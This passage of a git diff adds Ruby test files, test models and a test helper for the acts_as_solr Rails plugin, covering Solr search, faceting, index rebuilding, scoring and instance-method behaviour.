+ + # Testing basic solr search: + # Model.find_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_find_by_solr_splinter + ['splinter', 'name:splinter', 'name:splinter AND author:clancy', + 'author:clancy AND splinter', 'cell tom'].each do |term| + records = Book.find_by_solr term + assert_equal 1, records.total + assert_equal "Splinter Cell", records.docs.first.name + assert_equal "Tom Clancy", records.docs.first.author + assert_equal ({"id" => 1, "category_id" => 1, "name" => "Splinter Cell", + "author" => "Tom Clancy", "type" => nil}), records.docs.first.attributes + end + end + + # Testing basic solr search: + # Model.find_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_find_by_solr_ruby_or_splinter + ['ruby OR splinter', 'ruby OR author:tom', 'name:cell OR author:peter', 'dummy OR cell'].each do |term| + records = Book.find_by_solr term + assert_equal 2, records.total + end + end + + # Testing search in indexed field methods: + # + # class Movie < ActiveRecord::Base + # acts_as_solr :fields => [:name, :description, :current_time] + # + # def current_time + # Time.now.to_s + # end + # + # end + # + # The method current_time above gets indexed as being part of the + # Movie model and it's available for search as well + def test_find_with_dynamic_fields + date = Time.now.strftime('%b %d %Y') + ["dynamite AND #{date}", "description:goofy AND #{date}", "goofy napoleon #{date}", + "goofiness #{date}"].each do |term| + records = Movie.find_by_solr term + assert_equal 1, records.total + assert_equal ({"id" => 1, "name" => "Napoleon Dynamite", + "description" => "Cool movie about a goofy guy"}), records.docs.first.attributes + end + end + + # Testing basic solr search that returns just the ids instead of the objects: + # Model.find_id_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_find_id_by_solr_ruby + ['ruby', 'dummy', 'name:ruby', 'name:dummy', 'name:ruby AND author:peter', + 'author:peter AND ruby'].each do |term| + records = Book.find_id_by_solr term + assert_equal 1, records.docs.size + assert_equal [2], records.docs + end + end + + # Testing basic solr search that returns just the ids instead of the objects: + # Model.find_id_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_find_id_by_solr_splinter + ['splinter', 'name:splinter', 'name:splinter AND author:clancy', + 'author:clancy AND splinter'].each do |term| + records = Book.find_id_by_solr term + assert_equal 1, records.docs.size + assert_equal [1], records.docs + end + end + + # Testing basic solr search that returns just the ids instead of the objects: + # Model.find_id_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_find_id_by_solr_ruby_or_splinter + ['ruby OR splinter', 'ruby OR author:tom', 'name:cell OR author:peter', + 'dummy OR cell'].each do |term| + records = Book.find_id_by_solr term + assert_equal 2, records.docs.size + assert_equal [1,2], records.docs + end + end + + # Testing basic solr search that returns the total number of records found: + # Model.find_count_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_count_by_solr + ['ruby', 'dummy', 'name:ruby', 'name:dummy', 'name:ruby AND author:peter', + 'author:peter AND ruby'].each do |term| + assert_equal 1, Book.count_by_solr(term), "there should only be 1 result for search: #{term}" + end + end + + # Testing basic solr search that returns the total number of records found: + # Model.find_count_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_count_by_solr_splinter + ['splinter', 'name:splinter', 'name:splinter AND author:clancy', + 'author:clancy AND splinter', 'author:clancy cell'].each do |term| + assert_equal 1, Book.count_by_solr(term) + end + end + + # Testing basic solr search that returns the total number of records found: + # Model.find_count_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_count_by_solr_ruby_or_splinter + ['ruby OR splinter', 'ruby OR author:tom', 'name:cell OR author:peter', 'dummy OR cell'].each do |term| + assert_equal 2, Book.count_by_solr(term) + end + end + + # Testing basic solr search with additional options: + # Model.find_count_by_solr 'term', :limit => 10, :offset => 0 + def test_find_with_options + [1,2].each do |count| + records = Book.find_by_solr 'ruby OR splinter', :limit => count + assert_equal count, records.docs.size + end + end + + # Testing self.rebuild_solr_index + # - It makes sure the index is rebuilt after a data has been lost + def test_rebuild_solr_index + assert_equal 1, Book.count_by_solr('splinter') + + Book.find(:first).solr_destroy + assert_equal 0, Book.count_by_solr('splinter') + + Book.rebuild_solr_index + assert_equal 1, Book.count_by_solr('splinter') + end + + # Testing instance methods: + # - solr_save + # - solr_destroy + def test_solr_save_and_solr_destroy + assert_equal 1, Book.count_by_solr('splinter') + + Book.find(:first).solr_destroy + assert_equal 0, Book.count_by_solr('splinter') + + Book.find(:first).solr_save + assert_equal 1, Book.count_by_solr('splinter') + end + + # Testing the order of results + def test_find_returns_records_in_order + records = Book.find_by_solr 'ruby^5 OR splinter' + # we boosted ruby so ruby should come first + + assert_equal 2, records.total + assert_equal 'Ruby for Dummies', records.docs.first.name + assert_equal 'Splinter Cell', records.docs.last.name + end + + # Testing solr search with optional :order argument + def _test_with_order_option + records = Movie.find_by_solr 'office^5 OR goofiness' + assert_equal 'Hypnotized dude loves fishing but not working', records.docs.first.description + assert_equal 'Cool movie about a goofy guy', records.docs.last.description + + records = Movie.find_by_solr 'office^5 OR goofiness', :order => 'description asc' + assert_equal 'Cool movie about a goofy guy', records.docs.first.description + assert_equal 'Hypnotized dude loves fishing but not working', records.docs.last.description + end + + # Testing search with omitted :field_types should + # return the same result set as if when we use it + def test_omit_field_types_in_search + records = Electronic.find_by_solr "price:[200 TO 599.99]" + assert_match(/599/, records.docs.first.price) + assert_match(/319/, records.docs.last.price) + + records = Electronic.find_by_solr "price:[200 TO 599.99]", :order => 'price asc' + assert_match(/319/, records.docs.first.price) + assert_match(/599/, records.docs.last.price) + + end + + # Test to make sure the result returned when no matches + # are found has the same structure when there are results + def test_returns_no_matches + records = Book.find_by_solr 'rubyist' + assert_equal [], records.docs + assert_equal 0, records.total + + records = Book.find_id_by_solr 'rubyist' + assert_equal [], records.docs + assert_equal 0, records.total + + records = Book.find_by_solr 'rubyist', :facets => {} + assert_equal [], records.docs + assert_equal 0, records.total + assert_equal({"facet_fields"=>[]}, records.facets) + end + + + # Testing the :exclude_fields option when set in the + # model to make sure it doesn't get indexed + def test_exclude_fields_option + records = Electronic.find_by_solr 'audiobooks OR latency' + assert records.docs.empty? + assert_equal 0, records.total + + assert_nothing_raised{ + records = Electronic.find_by_solr 'features:audiobooks' + assert records.docs.empty? + assert_equal 0, records.total + } + end + + # Testing the :auto_commit option set to false in the model + # should not send the commit command to Solr + def test_auto_commit_turned_off + assert_equal 0, Author.count_by_solr('raymond chandler') + + original_count = Author.count + Author.create(:name => 'Raymond Chandler', :biography => 'Writes noirish detective stories') + + assert_equal original_count + 1, Author.count + assert_equal 0, Author.count_by_solr('raymond chandler') + end + + # Testing models that use a different key as the primary key + def test_search_on_model_with_string_id_field + records = Posting.find_by_solr 'first^5 OR second' + assert_equal 2, records.total + assert_equal 'ABC-123', records.docs.first.guid + assert_equal 'DEF-456', records.docs.last.guid + end + + # Making sure the result set is ordered correctly even on + # models that use a different key as the primary key + def test_records_in_order_on_model_with_string_id_field + records = Posting.find_by_solr 'first OR second^5' + assert_equal 2, records.total + assert_equal 'DEF-456', records.docs.first.guid + assert_equal 'ABC-123', records.docs.last.guid + end + + # Making sure the records are added when passing a batch size + # to rebuild_solr_index + def test_using_rebuild_solr_index_with_batch + assert_equal 2, Movie.count_by_solr('office OR napoleon') + Movie.find(:all).each(&:solr_destroy) + assert_equal 0, Movie.count_by_solr('office OR napoleon') + + Movie.rebuild_solr_index 100 + assert_equal 2, Movie.count_by_solr('office OR napoleon') + end + + # Making sure find_by_solr with scores actually return the scores + # for each individual record + def test_find_by_solr_with_score + books = Book.find_by_solr 'ruby^10 OR splinter', :scores => true + assert_equal 2, books.total + assert_equal 0.41763234, books.max_score + + books.records.each { |book| assert_not_nil book.solr_score } + assert_equal 0.41763234, books.docs.first.solr_score + assert_equal 0.14354616, books.docs.last.solr_score + end + + # Making sure nothing breaks when html entities are inside + # the content to be indexed; and on the search as well. + def test_index_and_search_with_html_entities + description = " + inverted exclamation mark ¡ ¡ + ¤ currency ¤ ¤ + ¢ cent ¢ ¢ + £ pound £ £ + Â¥ yen ¥ ¥ + ¦ broken vertical bar ¦ ¦ + § section § § + ¨ spacing diaeresis ¨ ¨ + © copyright © © + ª feminine ordinal indicator ª ª + « angle quotation mark (left) « « + ¬ negation ¬ ¬ + ­ soft hyphen ­ ­ + ® registered trademark ® ® + â„¢ trademark ™ ™ + ¯ spacing macron ¯ ¯ + ° degree ° ° + ± plus-or-minus ± ± + ² superscript 2 ² ² + ³ superscript 3 ³ ³ + ´ spacing acute ´ ´ + µ micro µ µ + ¶ paragraph ¶ ¶ + · middle dot · · + ¸ spacing cedilla ¸ ¸ + ¹ superscript 1 ¹ ¹ + º masculine ordinal indicator º º + » angle quotation mark (right) » » + ¼ fraction 1/4 ¼ ¼ + ½ fraction 1/2 ½ ½ + ¾ fraction 3/4 ¾ ¾ + ¿ inverted question mark ¿ ¿ + × multiplication × × + ÷ division ÷ ÷ + ♥ ♦ ♣ ♠" + + author = Author.create(:name => "Test in Action™ - Copyright © Bob", :biography => description) + assert author.valid? + author.solr_commit + + author = Author.find_by_solr 'trademark © ¾ ¡ £' + assert_equal 1, author.total + end + + def test_operator_search_option + assert_nothing_raised { + books = Movie.find_by_solr "office napoleon", :operator => :or + assert_equal 2, books.total + + books = Movie.find_by_solr "office napoleon", :operator => :and + assert_equal 0, books.total + } + + assert_raise RuntimeError do + Movie.find_by_solr "office napoleon", :operator => :bad + end + end + + # Making sure find_by_solr with scores actually return the scores + # for each individual record and orders them accordingly + def test_find_by_solr_order_by_score + books = Book.find_by_solr 'ruby^10 OR splinter', {:scores => true, :order => 'score asc' } + assert (books.docs.collect(&:solr_score).compact.size == books.docs.size), "Each book should have a score" + assert_equal 0.41763234, books.docs.last.solr_score + + books = Book.find_by_solr 'ruby^10 OR splinter', {:scores => true, :order => 'score desc' } + assert_equal 0.41763234, books.docs.first.solr_score + assert_equal 0.14354616, books.docs.last.solr_score + end + + # Search based on fields with the :date format + def test_indexed_date_field_format + movies = Movie.find_by_solr 'time_on_xml:[NOW-1DAY TO NOW]' + assert_equal 2, movies.total + end + + def test_query_time_is_returned + results = Book.find_by_solr('ruby') + assert_not_nil(results.query_time) + assert_equal(results.query_time.class,Fixnum) + end + + def test_should_not_index_the_record_when_offline_proc_returns_true + Gadget.search_disabled = true + gadget = Gadget.create(:name => "flipvideo mino") + assert_equal 0, Gadget.find_id_by_solr('flipvideo').total + end +end diff --git a/vendor/plugins/acts_as_solr/test/functional/association_indexing_test.rb b/vendor/plugins/acts_as_solr/test/functional/association_indexing_test.rb new file mode 100644 index 00000000..c0acacf2 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/functional/association_indexing_test.rb @@ -0,0 +1,37 @@ +require File.join(File.dirname(__FILE__), '../test_helper') + +class AssociationIndexingTest < Test::Unit::TestCase + + fixtures :categories, :books + + # Testing the association indexing with has_many: + # + # class Category < ActiveRecord::Base + # has_many :books + # acts_as_solr :include => [:books] + # end + # + # Note that some of the search terms below are from the 'books' + # table, but get indexed as being a part of Category + def test_search_on_fields_in_has_many_association + ['thriller', 'novel', 'splinter', 'clancy', 'tom clancy thriller'].each do |term| + assert_equal 1, Category.count_by_solr(term), "expected one result: #{term}" + end + end + + # Testing the association indexing with belongs_to: + # + # class Book < ActiveRecord::Base + # belongs_to :category + # acts_as_solr :include => [:category] + # end + # + # Note that some of the search terms below are from the 'categories' + # table, but get indexed as being a part of Book + def test_search_on_fields_in_belongs_to_association + ['splinter', 'clancy', 'tom clancy thriller', 'splinter novel'].each do |term| + assert_equal 1, Book.count_by_solr(term), "expected one result: #{term}" + end + end + +end diff --git a/vendor/plugins/acts_as_solr/test/functional/faceted_search_test.rb b/vendor/plugins/acts_as_solr/test/functional/faceted_search_test.rb new file mode 100644 index 00000000..63b28347 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/functional/faceted_search_test.rb @@ -0,0 +1,122 @@ +require File.join(File.dirname(__FILE__), '../test_helper') + +class FacetedSearchTest < Test::Unit::TestCase + + fixtures :electronics + + # The tests below are for faceted search, but make sure you setup + # the fields on your model you'd like to index as a facet field: + # + # class Electronic < ActiveRecord::Base + # acts_as_solr :facets => [:category, :manufacturer] + # end + # + # A basic faceted search using just one facet field + def test_faceted_search_basic + records = Electronic.find_by_solr "memory", :facets => {:fields =>[:category]} + assert_equal 4, records.docs.size + assert_match /Apple 60 GB Memory iPod/, records.docs.first.name + assert_equal({"category_facet" => {"Electronics" => 1, + "Memory" => 2, + "Hard Drive" => 1}}, + records.facets['facet_fields']) + end + + # Making sure the empty result returned what we expected + def test_faceted_search_no_matches + records = Electronic.find_by_solr "not found", :facets => { :fields => [:category]} + assert_equal [], records.docs + assert_equal [], records.facets['facet_fields'] + end + + # A basic faceted search using multiple facet fields + def test_faceted_search_multiple_fields + records = Electronic.find_by_solr "memory", :facets => {:fields =>[:category, :manufacturer]} + assert_equal 4, records.docs.size + assert_equal({"category_facet" => {"Electronics" => 1, + "Memory" => 2, + "Hard Drive" => 1}, + "manufacturer_facet" => {"Dell, Inc" => 0, + "Samsung Electronics Co. Ltd." => 1, + "Corsair Microsystems Inc." => 1, + "A-DATA Technology Inc." => 1, + "Apple Computer Inc." => 1}}, records.facets['facet_fields']) + end + + # A basic faceted search using facet queries to get counts. + # Here are the facets search query meaning: + # "price:[* TO 200]" - Price up to 200 + # "price:[200 TO 500]" - Price from 200 to 500 + # "price:[500 TO *]" - Price higher than 500 + def test_facet_search_with_query + records = Electronic.find_by_solr "memory", :facets => {:query => ["price:[* TO 200.00]", + "price:[200.00 TO 500.00]", + "price:[500.00 TO *]"]} + assert_equal 4, records.docs.size + assert_equal({"facet_queries" => {"price_rf:[* TO 200.00]"=>2, + "price_rf:[200.00 TO 500.00]"=>1, + "price_rf:[500.00 TO *]"=>1}, + "facet_fields" => {}, "facet_dates" => {}}, records.facets) + end + + # Faceted search specifying the query and fields + def test_facet_search_with_query_and_field + records = Electronic.find_by_solr "memory", :facets => {:query => ["price:[* TO 200.00]", + "price:[200.00 TO 500.00]", + "price:[500.00 TO *]"], + :fields => [:category, :manufacturer]} + + q = records.facets["facet_queries"] + assert_equal 2, q["price_rf:[* TO 200.00]"] + assert_equal 1, q["price_rf:[500.00 TO *]"] + assert_equal 1, q["price_rf:[200.00 TO 500.00]"] + + f = records.facets["facet_fields"] + assert_equal 1, f["category_facet"]["Electronics"] + assert_equal 2, f["category_facet"]["Memory"] + assert_equal 1, f["category_facet"]["Hard Drive"] + assert_equal 1, f["manufacturer_facet"]["Samsung Electronics Co. Ltd."] + assert_equal 1, f["manufacturer_facet"]["Corsair Microsystems Inc."] + assert_equal 1, f["manufacturer_facet"]["A-DATA Technology Inc."] + assert_equal 1, f["manufacturer_facet"]["Apple Computer Inc."] + end + + # Faceted searches with :sort and :zeros options turned on/off + def test_faceted_search_using_zero_and_sort + records = Electronic.find_by_solr "memory", :facets => {:fields =>[:category]} + assert_equal({"category_facet"=>{"Electronics"=>1, "Memory"=>2, "Hard Drive"=>1}}, records.facets['facet_fields']) + + records = Electronic.find_by_solr "memory", :facets => {:sort => true, :fields =>[:category]} + assert_equal({"category_facet"=>{"Memory"=>2, "Electronics"=>1, "Hard Drive"=>1}}, records.facets['facet_fields']) + + records = Electronic.find_by_solr "memory", :facets => {:fields =>[:manufacturer]} + assert_equal({"manufacturer_facet" => {"Dell, Inc" => 0, + "Samsung Electronics Co. Ltd." => 1, + "Corsair Microsystems Inc." => 1, + "A-DATA Technology Inc." => 1, + "Apple Computer Inc." => 1}}, records.facets['facet_fields']) + + records = Electronic.find_by_solr "memory", :facets => {:zeros => false, :fields =>[:manufacturer]} + assert_equal({"manufacturer_facet" => {"Samsung Electronics Co. Ltd." => 1, + "Corsair Microsystems Inc." => 1, + "A-DATA Technology Inc." => 1, + "Apple Computer Inc." => 1}}, records.facets['facet_fields']) + end + + # Faceted search with 'drill-down' option being passed. + # The :browse option receives the argument in the format: + # "facet_field:term". You can drill-down to as many + # facet fields as you like + def test_faceted_search_with_drill_down + records = Electronic.find_by_solr "memory", :facets => {:fields =>[:category]} + assert_equal 4, records.docs.size + assert_equal({"category_facet"=>{"Electronics"=>1, "Memory"=>2, "Hard Drive"=>1}}, records.facets['facet_fields']) + + records = Electronic.find_by_solr "memory", :facets => {:fields =>[:category], + :browse => "category:Memory", + :zeros => false} + assert_equal 2, records.docs.size + assert_equal({"category_facet"=>{"Memory"=>2}}, records.facets['facet_fields']) + end + +end diff --git a/vendor/plugins/acts_as_solr/test/functional/multi_solr_search_test.rb b/vendor/plugins/acts_as_solr/test/functional/multi_solr_search_test.rb new file mode 100644 index 00000000..bf7dcfe9 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/functional/multi_solr_search_test.rb @@ -0,0 +1,46 @@ +require File.join(File.dirname(__FILE__), '../test_helper') + +class ActsAsSolrTest < Test::Unit::TestCase + + fixtures :books, :movies + + # Testing the multi_solr_search with the returning results being objects + def test_multi_solr_search_return_objects + records = Book.multi_solr_search "Napoleon OR Tom", :models => [Movie], :results_format => :objects + assert_equal 2, records.total + assert_equal Movie, records.docs.first.class + assert_equal Book, records.docs.last.class + end + + # Testing the multi_solr_search with the returning results being ids + def test_multi_solr_search_return_ids + records = Book.multi_solr_search "Napoleon OR Tom", :models => [Movie], :results_format => :ids + assert_equal 2, records.total + assert records.docs.include?({"id" => "Movie:1"}) + assert records.docs.include?({"id" => "Book:1"}) + end + + # Testing the multi_solr_search with multiple models + def test_multi_solr_search_multiple_models + records = Book.multi_solr_search "Napoleon OR Tom OR Thriller", :models => [Movie, Category], :results_format => :ids + assert_equal 4, records.total + [{"id" => "Category:1"}, {"id" =>"Book:1"}, {"id" => "Movie:1"}, {"id" =>"Book:3"}].each do |result| + assert records.docs.include?(result) + end + end + + # Testing empty result set format + def test_returns_no_matches + records = Book.multi_solr_search "not found", :models => [Movie, Category] + assert_equal [], records.docs + assert_equal 0, records.total + end + + def test_search_on_empty_string_does_not_return_nil + records = Book.multi_solr_search('', :models => [Movie, Category]) + assert_not_nil records + assert_equal [], records.docs + assert_equal 0, records.total + end + +end diff --git a/vendor/plugins/acts_as_solr/test/models/author.rb b/vendor/plugins/acts_as_solr/test/models/author.rb new file mode 100644 index 00000000..6ce9180b --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/author.rb @@ -0,0 +1,10 @@ +# Table fields for 'movies' +# - id +# - name +# - biography + +class Author < ActiveRecord::Base + + acts_as_solr :auto_commit => false + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/models/book.rb b/vendor/plugins/acts_as_solr/test/models/book.rb new file mode 100644 index 00000000..18c416dc --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/book.rb @@ -0,0 +1,10 @@ +# Table fields for 'books' +# - id +# - category_id +# - name +# - author + +class Book < ActiveRecord::Base + belongs_to :category + acts_as_solr :include => [:category] +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/models/category.rb b/vendor/plugins/acts_as_solr/test/models/category.rb new file mode 100644 index 00000000..09e2fa4c --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/category.rb @@ -0,0 +1,8 @@ +# Table fields for 'categories' +# - id +# - name + +class Category < ActiveRecord::Base + has_many :books + acts_as_solr :include => [:books] +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/models/electronic.rb b/vendor/plugins/acts_as_solr/test/models/electronic.rb new file mode 100644 index 00000000..8035f3ba --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/electronic.rb @@ -0,0 +1,20 @@ +# Table fields for 'electronics' +# - id +# - name +# - manufacturer +# - features +# - category +# - price + +class Electronic < ActiveRecord::Base + acts_as_solr :facets => [:category, :manufacturer], + :fields => [:name, :manufacturer, :features, :category, {:price => {:type => :range_float, :boost => 10.0}}], + :boost => 5.0, + :exclude_fields => [:features] + + # The following example would also convert the :price field type to :range_float + # + # acts_as_solr :facets => [:category, :manufacturer], + # :fields => [:name, :manufacturer, :features, :category, {:price => :range_float}], + # :boost => 5.0 +end diff --git a/vendor/plugins/acts_as_solr/test/models/gadget.rb b/vendor/plugins/acts_as_solr/test/models/gadget.rb new file mode 100644 index 00000000..47821768 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/gadget.rb @@ -0,0 +1,9 @@ +class Gadget < ActiveRecord::Base + cattr_accessor :search_disabled + + acts_as_solr :offline => proc {|record| Gadget.search_disabled?}, :format => :ids + + def self.search_disabled? + search_disabled + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/models/movie.rb b/vendor/plugins/acts_as_solr/test/models/movie.rb new file mode 100644 index 00000000..e1d4dabc --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/movie.rb @@ -0,0 +1,17 @@ +# Table fields for 'movies' +# - id +# - name +# - description + +class Movie < ActiveRecord::Base + acts_as_solr :additional_fields => [:current_time, {:time_on_xml => :date}] + + def current_time + Time.now.to_s + end + + def time_on_xml + Time.now + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/models/novel.rb b/vendor/plugins/acts_as_solr/test/models/novel.rb new file mode 100644 index 00000000..09fad529 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/novel.rb @@ -0,0 +1,2 @@ +class Novel < Book +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/models/post.rb b/vendor/plugins/acts_as_solr/test/models/post.rb new file mode 100644 index 00000000..4388aaac --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/post.rb @@ -0,0 +1,3 @@ +class Post < ActiveRecord::Base + acts_as_solr +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/models/posting.rb b/vendor/plugins/acts_as_solr/test/models/posting.rb new file mode 100644 index 00000000..f71070a1 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/models/posting.rb @@ -0,0 +1,11 @@ +# Table fields for 'movies' +# - guid +# - name +# - description + +class Posting < ActiveRecord::Base + + set_primary_key 'guid' + acts_as_solr({},{:primary_key_field => 'pk_s'}) + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/test_helper.rb b/vendor/plugins/acts_as_solr/test/test_helper.rb new file mode 100644 index 00000000..b7789f97 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/test_helper.rb @@ -0,0 +1,38 @@ +require 'rubygems' +require 'test/unit' +require 'active_record' +require 'active_record/fixtures' + +RAILS_ROOT = File.dirname(__FILE__) unless defined? RAILS_ROOT +RAILS_ENV = 'test' unless defined? RAILS_ENV + +require File.dirname(__FILE__) + '/../lib/acts_as_solr' +require File.dirname(__FILE__) + '/../config/solr_environment.rb' + +# Load Models +models_dir = File.join(File.dirname( __FILE__ ), 'models') +Dir[ models_dir + '/*.rb'].each { |m| require m } + +Test::Unit::TestCase.fixture_path = File.dirname(__FILE__) + "/fixtures/" + +class Test::Unit::TestCase + def self.fixtures(*table_names) + if block_given? + Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names) { yield } + else + Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names) + end + table_names.each do |table_name| + clear_from_solr(table_name) + klass = instance_eval table_name.to_s.capitalize.singularize + klass.find(:all).each{|content| content.solr_save} + end + + clear_from_solr(:novels) + end + + private + def self.clear_from_solr(table_name) + ActsAsSolr::Post.execute(Solr::Request::Delete.new(:query => "type_s:#{table_name.to_s.capitalize.singularize}")) + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/unit/common_methods_shoulda.rb b/vendor/plugins/acts_as_solr/test/unit/common_methods_shoulda.rb new file mode 100644 index 00000000..05e5c333 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/unit/common_methods_shoulda.rb @@ -0,0 +1,112 @@ +require 'test_helper' +require 'common_methods' + +class CommonMethodsTest < Test::Unit::TestCase + include ActsAsSolr::CommonMethods + + class << self + def primary_key + "id" + end + end + + def id + 10 + end + + context "when determining the field type" do + setup do + end + + should "return i for an integer" do + assert_equal "i", get_solr_field_type(:integer) + end + + should "return f for a float" do + assert_equal "f", get_solr_field_type(:float) + end + + should "return b for a boolean" do + assert_equal "b", get_solr_field_type(:boolean) + end + + should "return s for a string" do + assert_equal "s", get_solr_field_type(:string) + end + + should "return t for a text" do + assert_equal "t", get_solr_field_type(:text) + end + + should "return d for a date" do + assert_equal "d", get_solr_field_type(:date) + end + + should "return ri for a range_integer" do + assert_equal "ri", get_solr_field_type(:range_integer) + end + + should "return rf for a range_float" do + assert_equal "rf", get_solr_field_type(:range_float) + end + + should "return facet for a facet field" do + assert_equal "facet", get_solr_field_type(:facet) + end + + should "return the string if one was given as an argument" do + assert_equal "string", get_solr_field_type("string") + end + + should "raise an error if invalid field type was specified" do + assert_raise(RuntimeError) {get_solr_field_type(:something)} + end + + should "raise an error if argument is not symbol or string" do + assert_raise(RuntimeError) {get_solr_field_type(123)} + end + end + + context "when determining a default value for a field when it's nil" do + should "return 0.00 for a float" do + assert_equal 0.00, set_value_if_nil("f") + assert_equal 0.00, set_value_if_nil(:float) + assert_equal 0.00, set_value_if_nil("rf") + assert_equal 0.00, set_value_if_nil(:range_float) + end + + should "return 0 for an integer" do + assert_equal 0, set_value_if_nil(:integer) + assert_equal 0, set_value_if_nil(:range_integer) + assert_equal 0, set_value_if_nil("i") + assert_equal 0, set_value_if_nil("ri") + end + + should "return false for a boolean" do + assert_equal "false", set_value_if_nil(:boolean) + assert_equal "false", set_value_if_nil("b") + end + + should "return empty string for strings and text" do + assert_equal "", set_value_if_nil(:string) + assert_equal "", set_value_if_nil(:text) + assert_equal "", set_value_if_nil("t") + assert_equal "", set_value_if_nil("s") + end + + should "return an empty string for a date" do + assert_equal "", set_value_if_nil(:date) + assert_equal "", set_value_if_nil("d") + end + + should "return an empty string for everything else" do + assert_equal "", set_value_if_nil("something") + end + end + + context "when determining the record id" do + should "return the primary key value" do + assert_equal 10, record_id(self) + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/unit/instance_methods_shoulda.rb b/vendor/plugins/acts_as_solr/test/unit/instance_methods_shoulda.rb new file mode 100644 index 00000000..92edd86d --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/unit/instance_methods_shoulda.rb @@ -0,0 +1,226 @@ +require 'test_helper' +require 'instance_methods' +require 'logger' +module Solr; end +require 'solr/xml' +require 'solr/field' +require 'solr/document' +require 'solr_instance' +require 'erb' + +class InstanceMethodsTest < Test::Unit::TestCase + + context "With a Solr record instance" do + setup do + @instance = SolrInstance.new + end + + context "when checking whether indexing is disabled" do + + setup do + @instance.configuration = {:if => true} + end + + should "return true if the specified proc returns true " do + @instance.configuration[:offline] = proc {|record| true} + assert @instance.indexing_disabled? + end + + should "return false if the specified proc returns false" do + @instance.configuration[:offline] = proc {|record| false} + assert !@instance.indexing_disabled? + end + + should "return true if no valid offline option was specified" do + @instance.configuration[:offline] = nil + @instance.configuration[:if] = proc {true} + assert !@instance.indexing_disabled? + end + end + + context "when validating the boost" do + setup do + @instance.solr_configuration = {:default_boost => 10.0} + @instance.configuration = {:if => true} + end + + should "accept and evaluate a block" do + @instance.configuration[:boost] = proc {|record| record.boost_rate} + assert_equal 10.0, @instance.send(:validate_boost, @instance.configuration[:boost]) + end + + should "accept and return a float" do + @instance.configuration[:boost] = 9.0 + assert_equal 9.0, @instance.send(:validate_boost, @instance.configuration[:boost]) + end + + should "return the default float when the specified is negative" do + @instance.configuration[:boost] = -1.0 + assert_equal 10.0, @instance.send(:validate_boost, @instance.configuration[:boost]) + end + + should "execute the according method when value is a symbol" do + @instance.configuration[:boost] = :irate + assert_equal 8.0, @instance.send(:validate_boost, @instance.configuration[:boost]) + end + + should "return the default boost when there is no valid boost" do + @instance.configuration[:boost] = "boost!" + assert_equal 10.0, @instance.send(:validate_boost, @instance.configuration[:boost]) + end + end + + context "when determining the solr document id" do + should "combine class name and id" do + assert_equal "SolrInstance:10", @instance.solr_id + end + end + + context "when saving the instance to solr" do + context "with indexing disabled" do + setup do + @instance.configuration = {:fields => [:name], :if => nil} + end + + should "just return and do nothing" do + @instance.expects(:solr_add).never + @instance.expects(:solr_destroy).never + assert @instance.solr_save + end + end + + context "with indexing enabled" do + setup do + @instance.configuration = {:fields => [:name], :if => "true", :auto_commit => true} + @instance.stubs(:solr_commit) + @instance.stubs(:solr_add) + @instance.stubs(:to_solr_doc).returns("My test document") + end + + should "add the solr document" do + @instance.expects(:solr_add).with("My test document").once + @instance.solr_save + end + + should "commit to solr" do + @instance.expects(:solr_commit).once + @instance.solr_save + end + + should "not commit if auto_commit is disabled" do + @instance.configuration.merge!(:auto_commit => false) + @instance.expects(:solr_commit).never + @instance.solr_save + end + + should "destroy the document if :if clause is false" do + @instance.configuration.merge!(:if => "false") + @instance.expects(:solr_destroy).once + @instance.solr_save + end + end + end + + context "when destroying an instance in solr" do + setup do + @instance.configuration = {:if => true, :auto_commit => true} + @instance.stubs(:solr_commit) + @instance.stubs(:solr_delete) + end + + should "delete the instance" do + @instance.expects(:solr_delete).with("SolrInstance:10") + @instance.solr_destroy + end + + should "commit to solr" do + @instance.expects(:solr_commit) + @instance.solr_destroy + end + + should "not commit if auto_commit is disabled" do + @instance.configuration.merge!(:auto_commit => false) + @instance.expects(:solr_commit).never + @instance.solr_destroy + end + + context "with indexing disabled" do + should "not contact solr" do + @instance.configuration.merge!(:offline => true, :if => nil) + @instance.expects(:solr_delete).never + @instance.solr_destroy + end + end + end + + context "when converting an instance to a solr document" do + setup do + @instance.configuration = {:if => true, :auto_commit => true, :solr_fields => {:name => {:boost => 9.0}}, :boost => 10.0} + @instance.solr_configuration = {:type_field => "type", :primary_key_field => "pk_id", :default_boost => 25.0} + end + + should "add a document boost" do + assert_equal 10, @instance.to_solr_doc.boost + end + + should "set the solr id" do + assert_equal "SolrInstance:10", @instance.to_solr_doc[:id] + end + + should "set the type field" do + assert_equal "SolrInstance", 